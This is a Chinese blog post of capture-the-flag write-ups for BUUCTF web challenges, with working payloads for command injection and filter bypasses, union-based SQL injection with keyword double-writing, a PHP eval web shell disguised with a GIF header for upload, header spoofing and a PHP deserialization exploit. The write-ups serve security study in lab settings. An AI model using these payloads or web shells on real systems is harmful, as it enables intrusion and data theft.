为提升观感体验,本篇博文长期更新,新题目以二次编辑形式附在最后

[ACTF2020 新生赛]Exec

打开后发现网页是关于执行一个ping指令,经过测试是直接执行的,所以就直接命令执行了

127.0.0.1 | cat /flag

总结一下常见的Linux管道符

  1. |按位或,直接执行|后面的语句
  2. ||逻辑或,如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
  3. &按位与,&前面和后面的都要执行,无论前面真假
  4. &&逻辑与,如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

[GXYCTF2019]Ping Ping Ping

打开可以看到很明显的提示,传参就是ip=,尝试传入/?ip=127.0.0.1,有回显,说明这是命令执行注入了,先用ls看看有什么文件
得到了一个f语言的回显,很明显空格会被过滤,所以我们尝试去掉空格

成功,下一步就开始考虑如何看到flag.php里面的内容,首先的问题就是如何绕过空格过滤,这里整理一下常见的空格过滤方法

\(IFS
\){IFS}

$IFS$1 //\(1改成\)加其他数字都可以

<

<>

{cat,flag.php} //用逗号实现了空格功能

%20

%09

尝试最后使用$IFS$IFS$1都可以成功绕过,以此来cat一下/?ip=127.0.0.1|cat$IFSflag.php

emm看起来不太友好,看来flag关键词也被过滤了,那就先试试看index.php,使用\(IFS没有回显,尝试使用\)IFS$1,成功得到回显

现在思路清晰了,接下来就是考虑如何显示flag.php的问题了,我们可以尝试使用反引号内联执行的做法,linux下反引号里面包含的就是需要执行的系统命令,而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令<br />`/?ip=127.0.0.1;cat$IFS`ls

这时候查看源代码即可得到最终的flag

[极客大挑战 2019]LoveSQL

开屏一道SQL注入题目,先试试万能密码
http://bbebaf1d-6128-4a49-9450-c1b729df9780.node4.buuoj.cn:81/check.php?username=admin' or '1'='1&password=1

md5解密失败,回到注入的思路上

/check.php?username=admin' order by 3%23&password=1

字段数为3时,回显正常,使用union查询回显点位

/check.php
?username=1' union select 1,2,3%23
&password=1

得到回显点位为2和3,查询数据库相关信息

/check.php?username=1' union select 1,database(),version()%23
&password=1

接着查询表名

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

可以得到如上两个表,接着爆破各个表的字段

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=1

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

两个表均为以上结果,接着爆破各个表的数据

/check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

可以看到flag已经找到了,本题得解

[极客大挑战 2019]Knife

打开可以看到赫然显示着eval($_POST["Syc"]);,再根据题目Knife,明显是要用菜刀来解决,传参就是用Syc,因此打开蚁剑,尝试连接,成功

在根目录下找到了flag,本题得解

[极客大挑战 2019]Http

打开网页查看内容

要求必须用https://Sycsecret.buuoj.cn访问,因此传入bp,加上Referer:https://Sycsecret.buuoj.cn再次请求

还需要浏览器标识为Syclover,因此再加上User-Agent: Syclover

提示只能从本地访问,那么还需要再加上x-Forwarded-For:127.0.0.1,终于显示了flag,题目得解

[极客大挑战 2019]Upload

访问之后是一个文件上传的页面,接着就可以想到上传一句话木马进行控制
创建文件1.phtml,填写内容

<script language="php">eval($_POST['shell']);</script>

接着上传,用bp抓包修改文件类型为image/jpeg,上传失败,提示Do not lie me,怀疑是对图片内容有检测,因此在这之前再加上一部分

GIF89a
<script language="php">eval($_POST['shell']);</script>

上传成功,接着猜测文件保存的位置,首先猜测路径为upload,那么打开蚁剑尝试一下,连接成功,在根目录下即可找到flag

[ACTF2020 新生赛]Upload

打开题目后发现还是一个上传问题,故猜测和上题解题思路一致,上传一句话木马提示只能上传图片格式,接着用开发者工具进行元素审查

可以看到这里调用了checkFile的js函数进行审查,所以审查元素将这部分删去,这里我直接删去了return false部分

测试,上传成功,蚁剑连接即可getshell

[极客大挑战 2019]BabySQL

打开一看,映入眼帘的和之前的那道SQL题目差别不大,上来先试万能密码,发现or用不了,遂再测试其他使用方法

/check.php?username=admin&password=1 %27 union select 1 %23

发现union和select被过滤了,再双写试一下

/check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23

看到这里基本上这一步就稳了,接下来就是试列数,逐个递增尝试,最终在3处注入成功,得到了回显

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23

接下来爆破数据库

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23

得到数据库为geek,接着尝试爆处所有的数据库

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23

在这里看到一个ctf的库比较可疑,进行爆破

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23

找到一个flag表,接着爆破其中的字段

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name="Flag" %23

再根据字段名flag爆数据

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23

本题得解

[极客大挑战 2019]PHP

看到网页内部有提示网站备份,所以用dirsearch扫描一下网站目录,找到了www.zip,这就是我们需要的网站备份文件,直接下载打开后,在index.php里面找到了一段加载class.php文件的函数,然后用GET传递了一个select参数,随后将其反序列化

打开具体看class.php内容

<?php
include 'flag.php'; error_reporting(0); class Name{
private $username = 'nonono';
private $password = 'yesyes'; public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
} function __wakeup(){
$this->username = 'guest';
} function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die(); }
}
}
?>

根据代码的意思可以知道,如果password=100,username=admin,在执行__destruct()的时候可以获得flag,因此我们构造反序列化

<?php

class Name{
private $username = 'nonono';
private $password = 'yesyes'; public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a)); ?>

保存运行后得到反序列化

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们的username重新赋值,所以我们跳过__wakeup()转而执行__destruct

跳过__wakeup()

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数,因此我们修改反序列化内容

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

private

上述声明变量是private,private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度

我们再次改造

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

测试

使用get请求把我们准备好的序列化当作select的参数传递过去

/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

成功得到flag,本题得解

[BUUCTF]Web刷题记录的更多相关文章

  1. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  2. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  3. buuctf misc 刷题记录

    1.金三胖 将gif分离出来. 2.N种方法解决 一个exe文件,果然打不开,在kali里分析一下:file KEY.exe,ascii text,先txt再说,base64 图片. 3.大白 crc ...

  4. web刷题记录 极客大挑战2019Knife upload buy a flag

    极客2019Knife webshell就是以asp.php.jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理.服务器管理.权限管理等操作.使用方法简单,只需上传一个代码文件,通 ...

  5. BUGKU web刷题记录

    web1 直接F12查看源码,得到flag. web2 直接输入验证码答案,长度被限制,修改可输入长度,提交后得到flag. web3 $what=$_GET['what']; echo $what; ...

  6. 刷题记录:[BUUCTF 2018]Online Tool

    目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...

  7. 刷题记录:[De1CTF 2019]Giftbox && Comment

    目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...

  8. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  9. 刷题记录:[XNUCA2019Qualifier]EasyPHP

    目录 刷题记录:[XNUCA2019Qualifier]EasyPHP 解法一 1.error_log结合log_errors自定义错误日志 2.include_path设置包含路径 3.php_va ...

  10. 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System

    目录 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System 知识点 1.padding-oracle attack 2.cbc字节翻转攻击 3.FFMpeg文件读取漏 ...

随机推荐

  1. Python pdb模块的使用

    野路子出生,写Python也有段时间了,一般的调试都用的print, PyCharm的debug功能也用的比较少,主要一般也用不到,第二是自己也不怎么会用. 服务器开发,本地根本没有运行的环境,前面学 ...

  2. 1903021126 申文骏 Java 第七周作业 客户类测试

     项目  内容 课程班级博客链接 19级信计班(本) 作业要求链接 Java 第七周作业 博客名称 1903021126  申文骏  Java 第七周作业  客户类测试 要求 每道题要有题目,代码(使 ...

  3. elementUI el-input 调整数据但是前端界面不刷新

    在表格行中提供一个输入框,允许用户输入,并且可以进行简单的四则计算,计算在onblur或者回车触发. <el-input v-model="scope.row[scope.column ...

  4. sqlsever中使用的 select top n在mysql 语句中如何更改

    string sqlSelect = "select top(3) ROW_NUMBER() over(order by UserTime) as Num,* from " + & ...

  5. javaScript事件onmouseout 、 onmouseove

    javaScript事件onmouseout . onmouseove onmouseout: 鼠标从某元素移开 onmouseover: 鼠标被移到某元素之上 这两个事件是鼠标滑过元素是的效果,可以 ...

  6. LEETCODE 数组嵌套

    题目:数组嵌套 索引从0开始长度为N的数组A,包含0到N - 1的所有整数.找到最大的集合S并返回其大小,其中 S[i] = {A[i], A[A[i]], A[A[A[i]]], ... }且遵守以 ...

  7. vue-设置页面滚动高度不生效问题处理

    首先,我遇到的问题是 无法保留(B)页面滚动的位置(scrollTop ) 无法赋值?! 黄色框是滚动部分(非最外层) 参考:https://www.csdn.net/tags/OtDakg2sOTA ...

  8. 如何在Windows下使用WebMatrix+IIS开发PHP程序

    最近接收一个新项目,领导要求对客户端的接口采用PHP开发,为了方便,我就采用 Windows7专业版64位 + IIS7.5 + PHP5.5 + WebMatrix 作为开发环境进行开发: 首先下载 ...

  9. Jquery ajax参数设置(转)

    参数名 类型 描述 url String (默认: 当前页地址) 发送请求的地址. type String (默认: "GET") 请求方式 ("POST" 或 ...

  10. oracle数据库常用操作

    1,调整显示格式 col username for a20 col DEFAULT_TABLESPACE for a30 2,查看表空间 select username,default_tablesp ...